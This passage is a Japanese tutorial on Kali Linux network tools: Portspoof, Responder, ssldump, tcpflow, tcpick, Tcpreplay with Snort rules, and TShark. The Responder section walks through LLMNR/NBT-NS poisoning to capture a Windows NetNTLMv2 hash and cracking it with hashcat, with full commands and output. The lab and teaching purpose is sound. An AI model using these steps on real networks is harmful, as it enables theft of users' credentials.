.-[ 192.168.11.4/49186 -> 192.168.11.3/80 (syn) ]-
|
| client   = 192.168.11.4/49186
| os       = Linux 2.2.x-3.x
| dist     = 0
| params   = generic
| raw_sig  = 4:64+0:0:1460:mss*44,7:mss,sok,ts,nop,ws:df,id+:0
|
`----

.-[ 192.168.11.4/49186 -> 192.168.11.3/80 (mtu) ]-
|
| client   = 192.168.11.4/49186
| link     = Ethernet or modem
| raw_mtu  = 1500
|
`----

[...]

Portspoof

攻撃者のポートスキャンに対して偽装した結果を返すなどし、実行されているサービスの特定を可能な限り阻害します。

■ 使用方法

root@kali:~# portspoof -h

Usage: portspoof [OPTION]...

-i                        ip : Bind to a particular  IP address
-p                        port : Bind to a particular PORT number
-s                        file_path : Portspoof service signature regex. file
-c                        file_path : Portspoof configuration file
-l                        file_path : Log port scanning alerts to a file
-f                        file_path : FUZZER_MODE - fuzzing payload file list
-n                        file_path : FUZZER_MODE - wrapping signatures file list
-1                        FUZZER_MODE - generate fuzzing payloads internally
-2                        switch to simple reply mode (doesn\'t work for Nmap)!
-D                        run as daemon process
-d                        disable syslog
-v                        be verbose
-h                        display this help and exit

■ 使用例

# portspoof起動前の標的に対するポートスキャン結果（SSHサーバーだけ稼働している）
root@kali_attacker:~# nmap -sV --top-ports 20 192.168.11.4

PORT     STATE  SERVICE       VERSION
21/tcp   closed ftp
22/tcp   open   ssh           OpenSSH 9.9p1 Debian 2 (protocol 2.0)
23/tcp   closed telnet
25/tcp   closed smtp
53/tcp   closed domain
80/tcp   closed http
110/tcp  closed pop3
111/tcp  closed rpcbind
135/tcp  closed msrpc
139/tcp  closed netbios-ssn
143/tcp  closed imap
443/tcp  closed https
445/tcp  closed microsoft-ds
993/tcp  closed imaps
995/tcp  closed pop3s
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy

# 標的側ホスト

# 22番ポート（SSH）以外のTCP接続を4444番ポートへリダイレクト
root@kali_target:~# iptables -t nat -A PREROUTING -p tcp -m multiport --dports 1:21,23:65535 -j REDIRECT --to-ports 4444
# portspoofを起動（ポート番号を指定しない場合は4444番ポートが使用される）
root@kali_target:~# portspoof -s /etc/portspoof/portspoof_signatures
-> Using user defined signature file /etc/portspoof/portspoof_signatures

# portspoof起動後の標的に対するポートスキャン結果
root@kali_attacker:~# nmap　-sV --top-ports 20 192.168.11.4

# 偽装したサービス署名をランダムで返却しているので適当なソフトウェア名が表示される
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp?
22/tcp   open  ssh          OpenSSH 9.9p1 Debian 2 (protocol 2.0)
23/tcp   open  telnet?
25/tcp   open  mogilefs     MogileFS distributed filesystem
53/tcp   open  domain?
80/tcp   open  telnet       InterSystems CTELNETD
110/tcp  open  pop3?
111/tcp  open  ssh          (protocol 91)
135/tcp  open  jrpgt        JRPGT game server
139/tcp  open  netbios-ssn?
143/tcp  open  telnet       Lantronix MSS100 serial interface telnetd 0
443/tcp  open  sip          Microsoft Office Communications Service 2005
445/tcp  open  http         X10 ActivePhone remote control httpd uKMjuI
993/tcp  open  telnet       Huawei Access Runner ADSL telnetd
995/tcp  open  pop3s?
1723/tcp open  ftp          Medusa Async ftpd 11Y >.
3306/tcp open  http         Aladdin HASP license manager 460156
3389/tcp open  http         NetXMS httpd
5900/tcp open  irc          IRCnet-based ircd
8080/tcp open  ftp          HP166XC KrD Logic Analyzer ftpd (FUSION ftpd ZeIENwC)
7 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

Responder

NTLMv1/NTLMv2/LMv2、NTLMSSP、Basic HTTP認証をサポートするHTTP/SMB/MSSQL/FTP/LDAP不正認証サーバーを内蔵し、LLMNR/NBT-NS/mDNSスプーフィングを行います。

■ 使用方法

root@kali:~# responder --help

Usage: responder -I eth0 -w -d
or:
responder -I eth0 -wd

Options:
  --version             show program\'s version number and exit
  -h, --help            show this help message and exit
  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
                        BROWSER, LLMNR requests without responding.
  -I eth0, --interface=eth0
                        Network interface to use, you can use 'ALL' as a
                        wildcard for all interfaces
  -i 10.0.0.21, --ip=10.0.0.21
                        Local IP to use (only for OSX)
  -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
                        Poison all requests with another IPv6 address than
                        Responder\'s one.
  -e 10.0.0.22, --externalip=10.0.0.22
                        Poison all requests with another IP address than
                        Responder\'s one.
  -b, --basic           Return a Basic HTTP authentication. Default: NTLM
  -d, --DHCP            Enable answers for DHCP broadcast requests. This
                        option will inject a WPAD server in the DHCP response.
                        Default: False
  -D, --DHCP-DNS        This option will inject a DNS server in the DHCP
                        response, otherwise a WPAD server will be added.
                        Default: False
  -w, --wpad            Start the WPAD rogue proxy server. Default value is
                        False
  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                        Upstream HTTP proxy used by the rogue WPAD Proxy for
                        outgoing requests (format: host:port)
  -F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
                        retrieval. This may cause a login prompt. Default:
                        False
  -P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt)
                        authentication for the proxy. WPAD doesn\'t need to be
                        ON. This option is highly effective. Default: False
  -Q, --quiet           Tell Responder to be quiet, disables a bunch of
                        printing from the poisoners. Default: False
  --lm                  Force LM hashing downgrade for Windows XP/2003 and
                        earlier. Default: False
  --disable-ess         Force ESS downgrade. Default: False
  -v, --verbose         Increase verbosity.
  -t 1e, --ttl=1e       Change the default Windows TTL for poisoned answers.
                        Value in hex (30 seconds = 1e). use '-t random' for
                        random TTL

■ 使用例

# Responderを起動
root@kali:~# responder -I eth0 -w -Q  
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [OFF]

[...]

[+] Listening for events...                                                                                                                       

[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.

Windowsクライアントのエクスプローラーで適当なネットワーク共有フォルダを入力すると資格情報を求められるので入力

# ログにユーザーが入力した資格情報が記録される
root@kali:~# cat /usr/share/responder/logs/SMB-NTLMv2-SSP-2400:4152:4321:9c10:10da:bc40:5cbe:148d.txt | grep hello
hello::PC-H4DSCFC:931bb014658bde50:5EFAE7A29FC3A169688C477B27E3158A:01010000000000000083A2202D32DB01F15D4E42BBAA0B1F0000000002000800540036004800490001001E00570049004E002D00540045004C0036005A004A004300430045004C00490004003400570049004E002D00540045004C0036005A004A004300430045004C0049002E0054003600480049002E004C004F00430041004C000300140054003600480049002E004C004F00430041004C000500140054003600480049002E004C004F00430041004C00070008000083A2202D32DB01060004000200000008003000300000000000000001000000002000000AD10B35729C9E358274F39C9FDBD207386FEA63052F816CDEF4605F0A89A2070A001000000000000000000000000000000000000900140063006900660073002F00680065006C006C006F000000000000000000

# ハッシュ値がHashcatのどのモードに該当するのかを調べる
root@kali:~# cat hash.txt | hashid -m
Analyzing 'hello::PC-H4DSCFC:465c5da9cbe544fd:5474F2A7A46BD2AE6E62D6BB8F1CBD8B:01010000000000000017F7A12732DB014A079D346C5B352B00000000020008003800380039004A0001001E00570049004E002D00420057003100480038004C003900300038004300550004003400570049004E002D00420057003100480038004C00390030003800430055002E003800380039004A002E004C004F00430041004C00030014003800380039004A002E004C004F00430041004C00050014003800380039004A002E004C004F00430041004C00070008000017F7A12732DB01060004000200000008003000300000000000000001000000002000000AD10B35729C9E358274F39C9FDBD207386FEA63052F816CDEF4605F0A89A2070A001000000000000000000000000000000000000900140063006900660073002F00680065006C006C006F000000000000000000'
[+] NetNTLMv2 [Hashcat Mode: 5600]

# Hashcatで解読
root@kali:~# hashcat -a 3 -m 5600 hash.txt ?l?l?l?l?l
hashcat (v6.2.6) starting

[...]

HELLO::PC-H4DSCFC:465c5da9cbe544fd:5474f2a7a46bd2ae6e62d6bb8f1cbd8b:0101000000000000001...:world

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: HELLO::PC-H4DSCFC:465c5da9cbe544fd:5474f2a7a46...000000
[...]

ssldump

SSLv3/TLSネットワークプロトコルアナライザです。 SSLv3/TLSトラフィックを識別すると、レコードをデコードし、標準出力にテキスト形式で表示します。

■ 使用方法

root@kali:~# man ssldump

SYNOPSIS
       ssldump [ -aAdeFHjnNPqtTvxXyz ] [ -i interface ]
               [ -k keyfile ] [ -l sslkeylogfile ] [ -p password ] [ -r dumpfile ] [ -w outputpcap ]
               [ -S [crypto|d|ht|H|nroff] ] [ expression ]

OPTIONS
       -a     Print bare TCP ACKs (useful for observing Nagle behavior).
       -A     Print all record fields (by default ssldump chooses the most interesting fields).
       -d     Display  the application data traffic. This usually means decrypting it, but when -d is used ssldump will also decode application
              data traffic before the SSL session initiates.  This allows you to see HTTPS CONNECT behavior as well as SMTP STARTTLS. As a side
              effect, since ssldump can\'t tell whether plaintext is traffic before the initiation of an SSL connection or just  a  regular  TCP
              connection, this allows you to use ssldump to sniff any TCP connection.  ssldump will automatically detect ASCII data and display
              it directly to the screen. non-ASCII data is displayed as hex dumps. See also -X.
       -e     Print absolute timestamps instead of relative timestamps.
       -F     Specify the number of packets after which a connection pool cleaning is performed (in packets, default: 100).
       -H     Print the full SSL packet header.
       -i interface
              Use interface as the network interface on which to sniff SSL/TLS traffic.
       -j     Switch output format to JSON. Only stdout is affected by this toggle.
       -k keyfile
              Use  keyfile  as  the  location  of  the  SSL  keyfile  (OpenSSL  format)  Previous  versions  of ssldump automatically looked in
              ./server.pem.  Now you must specify your keyfile every time.
       -l sslkeylogfile
              Use      sslkeylogfile      as      the      location      of      the      SSLKEYLOGFILE      (https://developer.mozilla.org/en-
              US/docs/Mozilla/Projects/NSS/Key_Log_Format).	   
	   -n     Don\'t try to resolve host names from IP addresses.
       -N     Attempt to parse ASN.1 when it appears, such as in certificates and DNs.
       -p password
              Use password as the SSL keyfile password.
       -P     Don\'t put the interface into promiscuous mode.
       -q     Don\'t decode any record fields beyond a single summary line. (quiet mode).
       -r file
              Read  data  from  file instead of from the network.  The old -f option still works but is deprecated and will probably be removed
              with the next version.
       -S [ crypto | d | ht | H ]
              Specify SSL flags to ssldump.  These flags include:
              crypto Print cryptographic information.
              d      Print fields as decoded.
              ht     Print the handshake type.
              H      Print handshake type and highlights.
       -t     Specify the TTL for inactive connections referenced in the connection pool (in seconds, default: 100).
       -T     Print the TCP headers.
	   -w outputpcap
              Use outputpcap as the destination for decrypted packets.
       -x     Print each record in hex, as well as decoding it.
       -X     When the -d option is used, binary data is automatically printed in two columns with a hex dump on the  left  and  the  printable
              characters  on  the  right. -X suppresses the display of the printable characters, thus making it easier to cut and paste the hex
              data into some other program.
       -y     Decorate the output for processing with nroff/troff. Not very useful for the average user.
       -z     Add timestamp in front of TCP packet description (-T)

■ 使用例

# HTTPSリクエストを送信
root@kali:~# curl -4 https://example.com

# トラフィックをリアルタイムで監視してSSLv3/TLSの情報を表示
root@kali:~# ssldump -i eth0 -j -n -ANH | jq
{
  "connection_number": 1,
  "record_count": 1,
  "timestamp": "1731827455.7356",
  "src_name": "192.168.11.3",
  "src_ip": "192.168.11.3",
  "src_port": 43646,
  "dst_name": "93.184.215.14",
  "dst_ip": "93.184.215.14",
  "dst_port": 443,
  "record_len": 395,
  "record_ver": "3.1",
  "msg_type": "Handshake",
  "handshake_type": "ClientHello",
  "ja3_str": "771,4866-4867-4865-4868-49196-52393-49325-49162-49195-49324-49161-49200-52392-49172-49199-49171-157-49309-53-156-49308-47-159-52394-49311-57-158-49310-51,51-5-0-13-28-10-11-16-22-65281-43-23,23-24-25-29-30-256-257-258-259-260,0",
  "ja3_fp": "ee839d543571bd085fedc8f6602abdf6"
}
[...]

tcpflow

パケットキャプチャツールです。シーケンス番号を理解し、再送やアウトオブオーダー配信に関係なくデータストリームを正しく再構築し表示します。

■ 使用方法

root@kali:~# tcpflow --help

usage: tcpflow [-aBcCDhIpsvVZ] [-b max_bytes] [-d debug_level]
     [-[eE] scanner] [-f max_fds] [-F[ctTXMkmg]] [-h|--help] [-i iface]
     [-l files...] [-L semlock] [-m min_bytes] [-o outdir] [-r file] [-R file]
     [-S name=value] [-T template] [-U|--relinquish-privileges user] [-v|--verbose]
     [-w file] [-x scanner] [-X xmlfile] [-z|--chroot dir] [expression]

   -a: do ALL post-processing.
   -b max_bytes: max number of bytes per flow to save
   -d debug_level: debug level; default is 1
   -f: maximum number of file descriptors to use
   -h: print this help message (-hh for more help)
   -H: print detailed information about each scanner
   -i: network interface on which to listen
   -I: write for each flow another file *.findx to provide byte-indexed timestamps
   -g: output each flow in alternating colors (note change!)
   -l: treat non-flag arguments as input files rather than a pcap expression
   -L  semlock - specifies that writes are locked using a named semaphore
   -p: don\'t use promiscuous mode
   -q: quiet mode - do not print warnings
   -r file      : read packets from tcpdump pcap file (may be repeated)
   -R file      : read packets from tcpdump pcap file TO FINISH CONNECTIONS
   -v           : verbose operation equivalent to -d 10
   -V           : print version number and exit
   -w  file     : write packets not processed to file
   -o  outdir   : specify output directory (default '.')
   -X  filename : DFXML output to filename
   -m  bytes    : specifies skip that starts a new stream (default 16777216).
   -F{p} : filename prefix/suffix (-hh for options)
   -T{t} : filename template (-hh for options; default %A.%a-%B.%b%V%v%C%c)
   -Z       do not decompress gzip-compressed HTTP transactions
   -K: output|keep pcap flow structure.

Security:
   -U user  relinquish privleges and become user (if running as root)
   -z dir   chroot to dir (requires that -U be used).

Control of Scanners:
   -E scanner   - turn off all scanners except scanner
   -S name=value  Set a configuration parameter (-hh for info)

Console output options:
   -B: binary output, even with -c or -C (normally -c or -C turn it off)
   -c: console print only (don\'t create files)
   -C: console print only, but without the display of source/dest header
   -0: don\'t print newlines after packets when printing to console
   -s: strip non-printable characters (change to '.')
   -J: output json format.
   -D: output in hex (useful to combine with -c or -C)

■ 使用例

# HTTPリクエストを送信
root@kali:~# curl http://example.com -4

# tcpflowでパケットをキャプチャ
root@kali:~# tcpflow -c -i eth0 -T'%T %N %A:%a > %B:%b'
# DNSクエリ（UDP）は連続したストリームとして構造化されていないため表示されない
2024-11-22T02:38:19Z 000 192.168.011.003:57610 > 093.184.215.014:00080: GET / HTTP/1.1
Host: example.com
User-Agent: curl/8.9.1
Accept: */*


2024-11-22T02:38:19Z 001 093.184.215.014:00080 > 192.168.011.003:57610: HTTP/1.1 200 OK
Age: 28449
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Fri, 22 Nov 2024 02:38:20 GMT
Etag: "3147526947+ident"
Expires: Fri, 29 Nov 2024 02:38:20 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECAcc (sac/2579)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256

<!doctype html>
[...]

# tcpdumpでパケットをキャプチャ
root@kali:~# tcpdump -A -n -i eth0
02:41:21.872347 IP 192.168.11.3.34219 > 192.168.11.1.53: 31532+ A? example.com. (29)
E..9d.@.@.(,......A....5.%..{,...........example.com.....
02:41:21.873757 IP 192.168.65.7.53 > 192.168.11.3.34219: 31532 1/0/0 A 93.184.215.14 (56)
E..TRe@.?.;o..A......5...@..{,...........example.com......example.com...........]...
02:41:21.874414 IP 192.168.11.3.54382 > 93.184.215.14.80: Flags [S], seq 2964243918, win 64240, options [mss 1460,sackOK,TS val 1596352808 ecr 0,nop,wscale 7], length 0
E..<..@.@..0....]....n.P.............
.........
_&i(........
02:41:22.002762 IP 93.184.215.14.80 > 192.168.11.3.54382: Flags [S.], seq 2795602936, ack 2964243919, win 29184, options [mss 1460,nop,nop,TS val 2851310283 ecr 1596352808,nop,wscale 7], length 0
E..<|p..?..p]........P.n..........r../.........
...._&i(....
02:41:22.002897 IP 192.168.11.3.54382 > 93.184.215.14.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1596352936 ecr 2851310283], length 0
E..4..@.@..7....]....n.P...................
_&i.....
02:41:22.003071 IP 192.168.11.3.54382 > 93.184.215.14.80: Flags [P.], seq 1:75, ack 1, win 502, options [nop,nop,TS val 1596352936 ecr 2851310283], length 74: HTTP: GET / HTTP/1.1
E..~..@.@.......]....n.P.............L.....
_&i.....GET / HTTP/1.1
Host: example.com
User-Agent: curl/8.9.1
Accept: */*
[...]

tcpick

パケットキャプチャツールです。データストリームを再構築・並び替えて表示します。

■ 使用方法

root@kali:~# man tcpick
SYNOPSIS
       tcpick [ -a ] [ -n ] [ -C ]
              [ -e count ]
              [ -i interface | -r  file ]
              [ -X timeout ]
              [ -D  ] [ -F1 | -F2 ]
              [ -yH | -yP | -yR | -yU | -yx | -yX ]
              [ -bH | -bP | -bR | -bU | -bx | -bX ]
              [ -wH[ub] | -wP[ub] | -wR[ub] | -wU[ub] ]
              [ -v  [ verbosity ]] [ -S ] [ -h ]
              [ --separator ]
              [ -T | -Tf  [ number ]]
              [ -E | -Ef  [ number ]]
              [ -Pc  |  -Ps ]
              [  "filter" ]
              [ --help ] [ --version ]
BASE OPTIONS
       -i --interface interface
              listen  on  selected  interface,  (i.e. ppp0 or eth0). If option -i is omitted, tcpick is able to select the first open interface
              (usually a ethernet card).

       -r --readfile
              reads raw packets from a file written with tcpdump -w instead of using a network device.

        "filter"
              This is the filter for the capturer engine. You can set it in the same way of setting the tcpdump(1) filter. Read tcpdump(1) man‐
              page for other explanations.

       -a     Displays host names instead of ip addresses. Warning: for every new ip grabbed a dns query will be generated! Use it carefully on
              high-traffic network devices!

       -C --colors
              Uses terminal colors: very nice!  It should help you to read the output of tcpick

       -D number --dirs number
              Create directories to store sniffed sessions.  When a directory contains number sessions, a new one will be created.

       -e count
              Exits when count packets have been sniffed

       -E number
              Exit when number sniffed connections are detected as "CLOSED"

       -Ef number
              Exit when the first number connections are detected as "CLOSED"

       -F1 -F2 --filenaming 1|2
              Choose the filenaming system.
               -F1 : tcpick_clientip_serverip.side.dat
              (side means clnt, serv or both)
               -F2 : tcpick_connectionnumber_clientip_serverip.side.dat

       -h     Shows source and destination ip and port; shows tcp flags as letters.

       --help Displays a short help summary

       -p     Don\'t put the network interface in promiscuous mode. Note that the interface might be in   promiscuous   mode   for   some  other
              reason.

       -S     Suppresses the "status of the connection" banner.

       --separator
              Add a separator for the payloads displayed.

       -t     Adds timestamp in hour:minutes:seconds:microseconds format

       -td    Like -t with date timestamp in day-month-year format

       -T number
              Track  number  connections. It could be very useful on a high-traffic network device.  If number is not specified, it will be set
              to 1.

       -Tf number
              Track only the first number connections; the following will be discarded. If number is not specified, it will be set to 1.

       -v verbosity
              Quite useless, yet. Set verbosity level. Actually there are not really many extra messages to display, this means it  is  enabled
              by  default (-v1).  Set verbosity level to 0 to suppress extra messages (-v0) except error messages.  Set verbosity level to 5 to
              display debug messages (-v5).  There are not other verbosity levels.

       -X timeout
              Connections are considered EXPIRED when there is no traffic for at least timeout seconds. Default is 600.

       --version
              Displays the tcpick version

DISPLAY THE DATA IN THE TCP PACKETS
       These options are prefixed by -y and are useful to display in various ways the content of the packet sniffed (the data, called payload),
       once it arrives at the listening interface. In that way the tcp duplicates will be not discarded and the packets will not be  reordered,
       but displayed "as is". If you want a fully acknowledged stream, see the -w and -b set of options.

       -yH    View data in hexadecimal-spaced mode (for the hexdump see -yx and -yX options.

       -yP    Shows  data  contained in the tcp packets. Non-printable characters are transformed in dots: ".". Newline character is preserved.
              This is the best way, in my opinion to show data like HTTP requests, IRC communication, SMTP stuff and so on.

       -yR    Displays all kind of characters, printable and non printable. If something binary is transmitted, the  effect  will  probably  be
              like watching with "cat" at a gzipped file.

       -yx    Shows all data after the header in hexadecimal dump of 16 bytes per line.

       -yX    Shows all data after the header in hexadecimal and ascii dump with 16 bytes per line.

       -yU    Shows all data after the header, but Unprintable characters are displayed as hexadecimal values between a "<" and a ">" symbol.
[...]

■ 使用例

# HTTPリクエストを送信
root@kali:~# curl http://example.com -4

# tcpickでパケットをキャプチャ
root@kali:~# tcpick -i eth0 -yP -h
# DNSクエリ（UDP）はパケットのデータのみ表示される
I............example.com.....
I............example.com......example.com..........]...
192.168.11.3:50238 S > 93.184.215.14:http (0)
1      SYN-SENT       192.168.11.3:50238 > 93.184.215.14:http
93.184.215.14:http AS > 192.168.11.3:50238 (0)
1      SYN-RECEIVED   192.168.11.3:50238 > 93.184.215.14:http
192.168.11.3:50238 A > 93.184.215.14:http (0)
1      ESTABLISHED    192.168.11.3:50238 > 93.184.215.14:http
192.168.11.3:50238 AP > 93.184.215.14:http (74)
GET / HTTP/1.1
Host: example.com
User-Agent: curl/8.9.1
Accept: */*

93.184.215.14:http A > 192.168.11.3:50238 (0)
93.184.215.14:http A > 192.168.11.3:50238 (1448)
HTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 283846
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Fri, 22 Nov 2024 02:46:14 GMT
Etag: "3147526947"
Expires: Fri, 29 Nov 2024 02:46:14 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECAcc (lac/5586)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256

<!doctype html>
[...]

# tcpdumpでパケットをキャプチャ
root@kali:~# tcpdump -A -n -i eth0
02:49:38.069221 IP 192.168.11.3.49553 > 192.168.11.1.53: 18864+ A? example.com. (29)
E..9.r@.@..}......A....5.%..I............example.com.....
02:49:38.075079 IP 192.168.65.7.53 > 192.168.11.3.49553: 18864 1/0/0 A 93.184.215.14 (56)
E..T..@.?.      ...A......5...@..I............example.com......example.com........Z..]...
02:49:38.075568 IP 192.168.11.3.50376 > 93.184.215.14.80: Flags [S], seq 3296100245, win 64240, options [mss 1460,sackOK,TS val 1596849039 ecr 0,nop,wscale 7], length 0
E..<Oj@.@.
v....]......P.v...........
.........
_-..........
02:49:38.210142 IP 93.184.215.14.80 > 192.168.11.3.50376: Flags [S.], seq 1774560246, ack 3296100246, win 29184, options [mss 1460,nop,nop,TS val 2851806492 ecr 1596849039,nop,wscale 7], length 0
E..<g...?.3.]........P..i....v....r..].........
...._-......
02:49:38.210279 IP 192.168.11.3.50376 > 93.184.215.14.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1596849174 ecr 2851806492], length 0
E..4Ok@.@.
}....]......P.v..i..............
_-......
02:49:38.210511 IP 192.168.11.3.50376 > 93.184.215.14.80: Flags [P.], seq 1:75, ack 1, win 502, options [nop,nop,TS val 1596849174 ecr 2851806492], length 74: HTTP: GET / HTTP/1.1

Tcpreplay

tcpdumpでトレースしたトラフィックを再生します。

■ 使用方法

root@kali:~# tcpreplay --help

Usage:  tcpreplay [ -<flag> [<val>] | --<name>[{=| }<val>] ]... \
                <pcap_file(s)> | <pcap_dir(s)>

   -d, --dbug=num             Enable debugging output
                                - it must be in the range:
                                  0 to 5
   -q, --quiet                Quiet mode
   -T, --timer=str            Select packet timing mode: select, ioport, gtod, nano
       --maxsleep=num         Sleep for no more then X milliseconds between packets
   -v, --verbose              Print decoded packets via tcpdump to STDOUT
   -A, --decode=str           Arguments passed to tcpdump decoder
                                - requires the option 'verbose'
   -K, --preload-pcap         Preloads packets into RAM before sending
   -c, --cachefile=str        Split traffic via a tcpprep cache file
                                - requires the option 'intf2'
                                -- and prohibits the option 'dualfile'
   -2, --dualfile             Replay two files at a time from a network tap
                                - requires the option 'intf2'
                                -- and prohibits the option 'cachefile'
   -i, --intf1=str            Client to server/RX/primary traffic output interface
   -I, --intf2=str            Server to client/TX/secondary traffic output interface
   -w, --write=str            Pcap file to receive traffic outputs
                                - prohibits the option 'intf2'
                                - an alternate for 'intf1'
       --include=str          Send only selected packet numbers
                                - prohibits the option 'exclude'
       --exclude=str          Send all but selected packet numbers
                                - prohibits the option 'include'
       --listnics             List available network interfaces and exit
   -l, --loop=num             Loop through the capture file X times
                                - it must be in the range:
                                  greater than or equal to 0
       --loopdelay-ms=num     Delay between loops in milliseconds
                                - requires the option 'loop'
                                -- and prohibits the option 'loopdelay-ns'
                                - it must be in the range:
                                  greater than or equal to 0
       --loopdelay-ns=num     Delay between loops in nanoseconds
                                - requires the option 'loop'
                                -- and prohibits the option 'loopdelay-ms'
                                - it must be in the range:
                                  greater than or equal to 0
       --pktlen               Override the snaplen and use the actual packet len
   -L, --limit=num            Limit the number of packets to send
                                - it must be in the range:
                                  greater than or equal to 1
       --duration=num         Limit the number of seconds to send
                                - it must be in the range:
                                  greater than or equal to 1
   -x, --multiplier=str       Modify replay speed to a given multiple
                                - prohibits these options:
                                pps
                                mbps
                                oneatatime
                                topspeed
   -p, --pps=str              Replay packets at a given packets/sec
                                - prohibits these options:
                                multiplier
                                mbps
                                oneatatime
                                topspeed
   -M, --mbps=str             Replay packets at a given Mbps
                                - prohibits these options:
                                multiplier
                                pps
                                oneatatime
                                topspeed
   -t, --topspeed             Replay packets as fast as possible
                                - prohibits these options:
                                mbps
                                multiplier
                                pps
                                oneatatime
   -o, --oneatatime           Replay one packet at a time for each user input
                                - prohibits these options:
                                mbps
                                pps
                                multiplier
                                topspeed
       --pps-multi=num        Number of packets to send for each time interval
                                - requires the option 'pps'
                                - it must be in the range:
                                  greater than or equal to 1
       --unique-ip            Modify IP addresses each loop iteration to generate unique flows
                                - requires the option 'loop'
       --unique-ip-loops=str  Number of times to loop before assigning new unique ip
                                - requires the option 'unique-ip'
       --no-flow-stats        Suppress printing and tracking flow count, rates and expirations
       --flow-expiry=num      Number of inactive seconds before a flow is considered expired
                                - prohibits the option 'no-flow-stats'
                                - it must be in the range:
                                  greater than or equal to 0
   -P, --pid                  Print the PID of tcpreplay at startup
       --stats=num            Print statistics every X seconds, or every loop if '0'
                                - it must be in the range:
                                  greater than or equal to 0
   -W, --suppress-warnings    suppress printing warning messages
   -V, --version              Print version information
   -h, --less-help            Display less usage information and exit
   -H, --help                 display extended usage information and exit
   -!, --more-help            extended usage information passed thru pager
       --save-opts[=arg]      save the option state to a config file
       --load-opts=str        load options from a config file
                                - disabled as '--no-load-opts'
                                - may appear multiple times

■ 使用例

# Ingressのトラフィック（ポートスキャン）をファイルに保存
root@kali_1:~# tcpdump -i eth0 -w scan.pcap
root@kali_2:~# nmap -sX 192.168.11.3 -p 80

# Egressのトラフィック（SMTP）をファイルに保存
root@kali_1:~# tcpdump -i eth0 -w smtp.pcap
root@kali_1:~# swaks --to user@example.com --server 192.168.11.4

# Snortのルールを作成
root@kali_1:~# cat > my.rules << EOF
alert tcp any any -> any any (msg:"SCAN nmap XMAS"; flow:stateless; flags:UPF; classtype:attempted-recon; sid:1000001; rev:1;)
alert tcp any any -> any 25 (msg:"Suspicious Email Sending"; content:"RCPT TO"; classtype:policy-violation; sid:1000002; rev:1;)
EOF
# Snortでループバックインターフェースを監視
root@kali_1:~# snort -c /etc/snort/snort.lua -A alert_fast -R my.rules -k none -i lo
Loading /etc/snort/snort.lua:
Loading snort_defaults.lua:
[...]
Commencing packet processing
++ [0] lo

# ファイルに保存したトラフィックをループバックインターフェースで5回再生
root@kali_1:~# tcpreplay -i lo --loop 5 scan.pcap smtp.pcap
# ルールで検知したアラートが表示される
root@kali_1:~# snort -c /etc/snort/snort.lua -A alert_fast -R my.rules -k none -i lo
[...]
Commencing packet processing
11/23-07:56:16.019475 [**] [1:1000001:1] "SCAN nmap XMAS" [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 192.168.11.4:46202 -> 192.168.11.3:80
11/23-07:56:16.054914 [**] [1:1000002:1] "Suspicious Email Sending" [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 192.168.11.3:53560 -> 192.168.11.4:25
11/23-07:56:16.198196 [**] [1:1000001:1] "SCAN nmap XMAS" [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 192.168.11.4:46202 -> 192.168.11.3:80
11/23-07:56:16.233648 [**] [1:1000002:1] "Suspicious Email Sending" [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 192.168.11.3:53560 -> 192.168.11.4:25
11/23-07:56:16.376947 [**] [1:1000001:1] "SCAN nmap XMAS" [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 192.168.11.4:46202 -> 192.168.11.3:80
11/23-07:56:16.412419 [**] [1:1000002:1] "Suspicious Email Sending" [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 192.168.11.3:53560 -> 192.168.11.4:25

TShark

WiresharkのCLI版パケットキャプチャツールです。

■ 使用方法

root@kali:~# tshark --help

Usage: tshark [options] ...

Capture interface:
  -i <interface>, --interface <interface>
                           name or idx of interface (def: first non-loopback)
  -f <capture filter>      packet filter in libpcap filter syntax
  -s <snaplen>, --snapshot-length <snaplen>
                           packet snapshot length (def: appropriate maximum)
  -p, --no-promiscuous-mode
                           don\'t capture in promiscuous mode
  -I, --monitor-mode       capture in monitor mode, if available
  -B <buffer size>, --buffer-size <buffer size>
                           size of kernel buffer (def: 2MB)
  -y <link type>, --linktype <link type>
                           link layer type (def: first appropriate)
  --time-stamp-type <type> timestamp method for interface
  -D, --list-interfaces    print list of interfaces and exit
  -L, --list-data-link-types
                           print list of link-layer types of iface and exit
  --list-time-stamp-types  print list of timestamp types for iface and exit
  --update-interval        interval between updates with new packets (def: 100ms)

